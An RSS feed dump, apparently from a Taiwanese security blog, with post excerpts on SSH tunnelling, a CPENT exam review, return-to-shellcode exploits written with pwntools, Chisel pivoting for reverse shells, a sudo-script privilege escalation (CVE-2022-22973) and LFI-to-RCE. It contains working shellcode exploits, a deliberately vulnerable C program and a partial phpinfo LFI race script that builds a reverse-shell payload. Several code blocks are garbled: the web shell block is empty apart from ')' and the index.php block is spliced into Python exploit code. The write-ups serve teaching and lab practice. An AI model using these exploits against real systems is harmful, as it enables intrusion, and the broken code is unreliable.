&lt;p&gt;顧名思義， Local 就是要把遠端的東西「打回我們 Local」。&lt;/p&gt;
&lt;p&gt;舉例來說，遠端機器有開了一個 3000 Port 在 127.0.0.1，我們希望在我們本機上面把它接出來，接到我們家的 5000 Port，那麼需要這樣下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -L 5000:127.0.0.1:3000 user@host
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;-L&lt;/code&gt; 是打回我們自己的Host, &lt;code&gt;127.0.0.1:3000&lt;/code&gt; 是遠端的 IP 跟 Port&lt;/p&gt;
&lt;p&gt;另外假設，遠端的機器摸得到 &lt;code&gt;192.168.87.8:80&lt;/code&gt; ，而我們機器也希望可以摸到的話，可以輸入以下指令，透過 host 機器把 &lt;code&gt;192.168.87.8:80&lt;/code&gt; 轉到我們 Local 的 &lt;code&gt;127.0.0.1:9487&lt;/code&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -L 9487:192.168.87.8:80 user@host
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="remote-forwarding"&gt;Remote Forwarding&lt;/h2&gt;
&lt;p&gt;顧名思義， Remote 就是要把我們家的東西「送過去 Remote」。&lt;/p&gt;
&lt;p&gt;假設我們在本地開了一個 &lt;code&gt;127.0.0.1:7414&lt;/code&gt; ， 而我們希望把這個東西給轉去遠端的機器的 &lt;code&gt;127.0.0.1:9453&lt;/code&gt; 上，則可以使用&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -R 9453:127.0.0.1:7414 user@host
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;這邊的 &lt;code&gt;127.0.0.1:7414&lt;/code&gt; 是我們機器上的 IP 跟 Port，而 9453 則是遠端機器的 Port，也就是打過去的目標。&lt;/p&gt;</description></item><item><title>深度解析 CPENT 考試心得、以及與 OSCP 的比較</title><link>http://blog.stevenyu.tw/2022/06/10/%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90-cpent-%E8%80%83%E8%A9%A6%E5%BF%83%E5%BE%97%E3%80%81%E4%BB%A5%E5%8F%8A%E8%88%87-oscp-%E7%9A%84%E6%AF%94%E8%BC%83/</link><pubDate>Fri, 10 Jun 2022 20:43:30 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/06/10/%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90-cpent-%E8%80%83%E8%A9%A6%E5%BF%83%E5%BE%97%E3%80%81%E4%BB%A5%E5%8F%8A%E8%88%87-oscp-%E7%9A%84%E6%AF%94%E8%BC%83/</guid><description>&lt;p&gt;前陣子參加了恆逸的活動，擁有 OSCP 證照者免費上 CPENT 課程，以及考照的活動，很高興的，我順利的考取到了 CPENT 以及 LPT 的證照。 先在前面跟恆逸的所有工作人員說聲感謝，也跟 Vicent 老師說聲謝謝。&lt;/p&gt;
&lt;p&gt;本篇文會介紹整體 CPENT 課程教材、考試內容、準備方式以及其與 OSCP 的比較。 這些心得部分都以我個人的主觀感受為主，僅供參考，而考試、課程內容也僅代表 2022 年 5 月底至 6 月初的狀況，可能會與未來有所差異。&lt;/p&gt;
&lt;p&gt;在考試前我有試著在網路上查詢過 CPENT 相關的考試資料，發現中文資料除了恆逸的業配文之外，沒有看到以較客觀角度來評論這張證照的文章。僅有此 YouTube 影片有提到考試的大致內容 &lt;a href="https://www.youtube.com/watch?v=_O09mur9wag"&gt;[輕鬆系列] 兩場連續12小時不間斷資安考試，到底資安證照EC-Council CPENT 在考甚麼?!! &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;因此本文會在不侵犯版權與洩密的前題下，介紹該證照與課程的詳細內容，供準備考試的朋友們進行參考。&lt;/p&gt;
&lt;h2 id="課程教材"&gt;課程教材&lt;/h2&gt;
&lt;p&gt;報名考試後，熱心的恆逸工作人員就寄了一本紙本的教材給我，這本紙本教材約有 1600 頁，內文主要是官方授課的投影片，較少文字敘述，且因為黑白列印的關係，許多原本黑底綠字的 Command Line 截圖都是看不清楚的 QQ。 不過該份教材有提供了電子檔，需要透過特有的專屬軟體開啟，裡面的畫面就清楚了很多。 相比於 OSCP 約 1000 頁的教材，我認為 CPENT 的教材相對而言比較淺而廣。&lt;/p&gt;
&lt;h3 id="教材涵蓋內容"&gt;教材涵蓋內容&lt;/h3&gt;
&lt;p&gt;CPENT 的官方教材總共有 14 個章節與 12 個附錄，章節內容如以下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PT 概論&lt;/li&gt;
&lt;li&gt;PT 的範圍與規範&lt;/li&gt;
&lt;li&gt;OSINT&lt;/li&gt;
&lt;li&gt;社交工程&lt;/li&gt;
&lt;li&gt;網路 PT - 外部&lt;/li&gt;
&lt;li&gt;網路 PT - 內部&lt;/li&gt;
&lt;li&gt;網路 PT - 外圍設備&lt;/li&gt;
&lt;li&gt;Web PT&lt;/li&gt;
&lt;li&gt;無線網路 PT&lt;/li&gt;
&lt;li&gt;IoT PT&lt;/li&gt;
&lt;li&gt;OT 及 SCADA PT&lt;/li&gt;
&lt;li&gt;雲端 PT&lt;/li&gt;
&lt;li&gt;Binary 分析以及 Pwn&lt;/li&gt;
&lt;li&gt;報告撰寫&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;附錄內容&lt;/p&gt;</description></item><item><title>Debug Linux Binary Using Core Dump</title><link>http://blog.stevenyu.tw/2022/05/28/debug-linux-binary-using-core-dump/</link><pubDate>Sat, 28 May 2022 12:54:35 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/05/28/debug-linux-binary-using-core-dump/</guid><description>&lt;p&gt;(本篇文環境都使用 Ubuntu 18.04.6 LTS 進行測試)&lt;/p&gt;
&lt;p&gt;在一次打 pwn 的經驗中，我發現了一件奇怪的事情，題目檔案沒有開 NX、Canary、PIE，機器也沒有開啟 ASLR。這題題目需要打 64Bit 的 Return to Shell Code，簡而言之，題目會透過讀檔的方式讀取一個寫好 Payload 的檔案，並執行 strcpy。這個 Exploit 就是 Padding + Return Address + Shell Code，而 Return Address 就是 Stack 上面寫的 Shell code，聽起來是一個很簡單的題目。&lt;/p&gt;
&lt;p&gt;Exploit 如下&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;from&lt;/span&gt; pwn &lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shellcode &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;H&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xb8&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;/bin/sh&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x00&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;PH&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x89\xe7&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;H1&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xf6&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;H1&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xd2&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;H&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\xc7\xc0&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\x00\x00\x00\x0f\x05&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payload &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; flat(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;40&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; p64(&lt;span style="color:#bd93f9"&gt;0x7fffffffddb0&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;with&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;open&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;badfile&amp;#34;&lt;/span&gt;,&lt;span style="color:#f1fa8c"&gt;&amp;#34;wb&amp;#34;&lt;/span&gt;) &lt;span style="color:#ff79c6"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; f&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;write(payload)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;關於 Return Address，當然就是使用 gdb 下段點進去找，但奇怪的事情就發生了！ 這個 Exploit Code 在 gdb 開啟的狀態下可以正常運作，但是程式獨立執行時卻會噴 Error，透過 pwntools 的 process 叫起來也一樣會爛掉。&lt;/p&gt;</description></item><item><title>Double &amp; Triple Pivoting and Proxychains using Chisel</title><link>http://blog.stevenyu.tw/2022/05/26/double-triple-pivoting-and-proxychains-using-chisel/</link><pubDate>Thu, 26 May 2022 18:07:54 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/05/26/double-triple-pivoting-and-proxychains-using-chisel/</guid><description>&lt;p&gt;最近遇到了一個非常極端的情境，需要在內網跳三層的 Tunneling， 而且這些機器們都沒有 SSH，這篇文會分享一下如何運用 Chisel 來跳多層的 Pivot。 雖然目前的 Cobalt Strike 以及 Meterpreter 都有相應的功能，不過本篇文章我希望使用最傳統，最基本的小工具來完成這個情境。&lt;/p&gt;
&lt;h2 id="情境介紹"&gt;情境介紹&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/05/2022-05-26-16-52-48-1024x155.png"&gt;&lt;/p&gt;
&lt;p&gt;我們的網路架構如上圖，我們在 Attacker 的機器，而我們需要攻擊的機器分別在不同的網段中，且互相摸不到對方。有三個目標：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;要能讓 Server A, B 及 C 摸到我們 Attacker:8000 身上的 Python HTTP Server&lt;/li&gt;
&lt;li&gt;要能在 Attacker 端，接收到 A, B 上面的 Reverse Shell&lt;/li&gt;
&lt;li&gt;要能透過 Proxychains 在 Attacker 上摸到、掃 Server A, B, C, D 的 TCP Port&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我已經預先在 Server A, B 及 C 上擺放好了一句話的 Web Shell 方便操作&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;想要自己建立 Lab 的話，可以參考以下的 Github 連結： &lt;a href="https://github.com/stevenyu113228/Triple-Pivoting-Lab"&gt;Triple-Pivoting-Lab&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;重點主要就是這個 Docker Compose 檔案，我們可以把每一顆 Container 都當作一台 Server 來完成以下的實驗。&lt;/p&gt;</description></item><item><title>Remote binary tunneling &amp; Buffer overflow using pwntools</title><link>http://blog.stevenyu.tw/2022/05/24/remote-binary-tunneling-buffer-overflow-using-pwntools/</link><pubDate>Tue, 24 May 2022 00:24:42 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/05/24/remote-binary-tunneling-buffer-overflow-using-pwntools/</guid><description>&lt;p&gt;前陣子因緣際會下，遇到了某個情境，是在一個斷網的環境底下需要透過打 Pwn 的方式來進行提權。 這個環境的情境大概是，一個 Binary 具有 SUID 權限可以 Pwn。&lt;/p&gt;
&lt;p&gt;但另外一個條件是，機器上面不能開 Port 出來，我也不可能幫對方的機器裝 Pwntools，身為一個 Pwntools 的愛用者，我決定使用邪門歪道把程式給跑起來，接下來進行 Pwn 的動作。&lt;/p&gt;
&lt;p&gt;這邊的範例，我使用到今年初，我在&lt;a href="https://github.com/stevenyu113228/NTUST-OS-Course-Buffer-Overflow"&gt;台科大資工系講課時的教材&lt;/a&gt;，使用 Ubuntu 18.04 的環境打 64 bit 的 Return to Shellcode 的情境。 但這篇文的主旨不在 Exploit 這隻 Binary 的過程，而是如何透過 Tunneling 的方式把 Binary 帶到外面來打。因此我直接附上 Binary Source Code 以及 Exploit Code。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;// gcc -no-pie -fno-stack-protector -z execstack ret2sc2.c -o ret2sc2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;#include&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;#include &lt;/span&gt;&lt;span style="color:#ff79c6"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd"&gt;char&lt;/span&gt; name[&lt;span style="color:#bd93f9"&gt;100&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd"&gt;int&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;main&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#50fa7b"&gt;printf&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;What&amp;#39;s your name : &amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#50fa7b"&gt;scanf&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;%s&amp;#34;&lt;/span&gt;,name);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd"&gt;char&lt;/span&gt; comment[&lt;span style="color:#bd93f9"&gt;500&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#50fa7b"&gt;printf&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;What&amp;#39;s your comment : &amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#50fa7b"&gt;scanf&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;%s&amp;#34;&lt;/span&gt;,comment);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;return&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;這邊我關閉了 PIE、Canary 以及 NX 保護，作為最簡單的 Demo 使用， Exploit Code 則使用 pwntools 來寫，非常簡單，就只是蓋 Return Address 並塞下 Shell Code 而已，而我的 Shell Code 是抄&lt;a href="https://www.exploit-db.com/exploits/13320"&gt;網路上&lt;/a&gt;的，就只是一個 &lt;code&gt;setuid(0)&lt;/code&gt; 以及 &lt;code&gt;execve(/bin/sh)&lt;/code&gt;。&lt;/p&gt;</description></item><item><title>How I found CVE-2022-22973 VMWare Workspace ONE Privilege Escalation</title><link>http://blog.stevenyu.tw/2022/05/19/how-i-found-cve-2022-22973-vmware-workspace-one-privilege-escalation/</link><pubDate>Thu, 19 May 2022 10:38:49 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/05/19/how-i-found-cve-2022-22973-vmware-workspace-one-privilege-escalation/</guid><description>&lt;p&gt;VMWare Security advisories：&lt;a href="https://www.vmware.com/security/advisories/VMSA-2022-0014.html"&gt;https://www.vmware.com/security/advisories/VMSA-2022-0014.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;這個漏洞其實是在一個因緣際會下發現的，當初我在研究 CVE-2022-22954，一個 VMware Workspace ONE Access Freemarker 的 SSTI to RCE 漏洞。&lt;/p&gt;
&lt;p&gt;後來剛好跟朋友借到一台有洞的 Server 來測試 Exploit，就順利的 RCE 了，接下來，我接回了 Reverse Shell 想試著觀察 Server 內部的檔案結構跟原始碼，發現了當前使用者是 &lt;code&gt;horizon&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;Service 使用較低權限的使用者來執行，可以保障系統的安全。 當然，入侵的駭客也會嘗試透過各種方式來試著進行提權到 ROOT， 這次使用到的技巧完全是我今年 4/13 在台科資安社有提到的，他的構成其實非常簡單。 這個梗也常常出現在 Hack The Box 或 Try Hack Me，應該是 Easy 等級的題目，不過在 Real World 出現真的是滿神奇的事情。&lt;/p&gt;
&lt;p&gt;提權不外乎， Kernel Exploit (Binary) 系列，或是 Misconfiguration，本次這個漏洞就只是一個程式開發時的小小設定錯誤。&lt;/p&gt;
&lt;p&gt;當拿到一台 Linux 的低權限 Shell ，通常我的起手是會先 &lt;code&gt;whoami&lt;/code&gt;，觀察使用者名稱；接下來會試著使用 &lt;code&gt;sudo -l&lt;/code&gt; 觀察使用者有沒有機會透過 &lt;code&gt;sudo&lt;/code&gt; 來搞事。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/05/2022-04-16-14-22-41-1024x551.png"&gt;&lt;/p&gt;
&lt;p&gt;接下來就發現了一個酷東東，也就是最下面一行的&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/opt/vmware/certproxy/bin/certproxyService.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;horizon 使用者可以使用 sudo 執行該 Script，並且不需要輸入密碼，而另外一個重點是，觀察這個 Script 會發現檔案權限的設定有問題，這個檔案的所屬擁有者就是我們自己 (horizon)，因此我們可以任意竄改裡面的檔案內容。&lt;/p&gt;</description></item><item><title>Advanced Local File Inclusion to RCE in 2022</title><link>http://blog.stevenyu.tw/2022/05/07/advanced-local-file-inclusion-2-rce-in-2022/</link><pubDate>Sat, 07 May 2022 18:32:21 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/05/07/advanced-local-file-inclusion-2-rce-in-2022/</guid><description>&lt;p&gt;蛤，都 2022 年了，還有人不知道 LFI 基本上就 = RCE ㄇ？&lt;/p&gt;
&lt;p&gt;還有人 LFI 只會寫 log、努力找上傳檔案的點再來 Include ㄇ？覺得 LFI 就只能 Base64 看看源碼ㄇ？&lt;/p&gt;
&lt;p&gt;這篇文整理了一下最近幾年來比較實用的一些 LFI 技巧，透過無腦的貼 POC 就可以快速的 Get Shell。以下我使用 PHP 8.1 apache 做為實驗環境，測試了幾種常見的 RFI to RCE 技巧，理論上在大多數的 PHP 7 底下，預設環境中，不用修改任何的 config 都可以適用。&lt;/p&gt;
&lt;h2 id="environment-setup"&gt;Environment Setup&lt;/h2&gt;
&lt;h3 id="docker-composeyml"&gt;docker-compose.yml&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;version&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;3.7&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;webserver&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;image&lt;/span&gt;: php:8.1-apache
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - ./web:/var/www/html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="webindexphp"&gt;web/index.php&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#34;); ?&amp;gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;format(tag&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;tag,shell_host&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;shell_host,shell_port&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;shell_port)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;UPLOAD&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&amp;#34;-----------------------------7dbff1ded0714&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;Content-Disposition: form-data; name=&amp;#34;&lt;/span&gt;dummyname&lt;span style="color:#f1fa8c"&gt;&amp;#34;; filename=&amp;#34;&lt;/span&gt;test&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;txt&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;Content-Type: text/plain&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;{}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;-----------------------------7dbff1ded0714--&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;format(PAYLOAD)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;padding&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;A&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;*&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;5000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;## PHPinfo path
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INFOREQ&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&amp;#34;POST {phpinfo}?a={padding} HTTP/1.1&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;HTTP_ACCEPT: {padding}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;HTTP_USER_AGENT: {padding}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;HTTP_ACCEPT_LANGUAGE: {padding}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;HTTP_PRAGMA: {padding}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
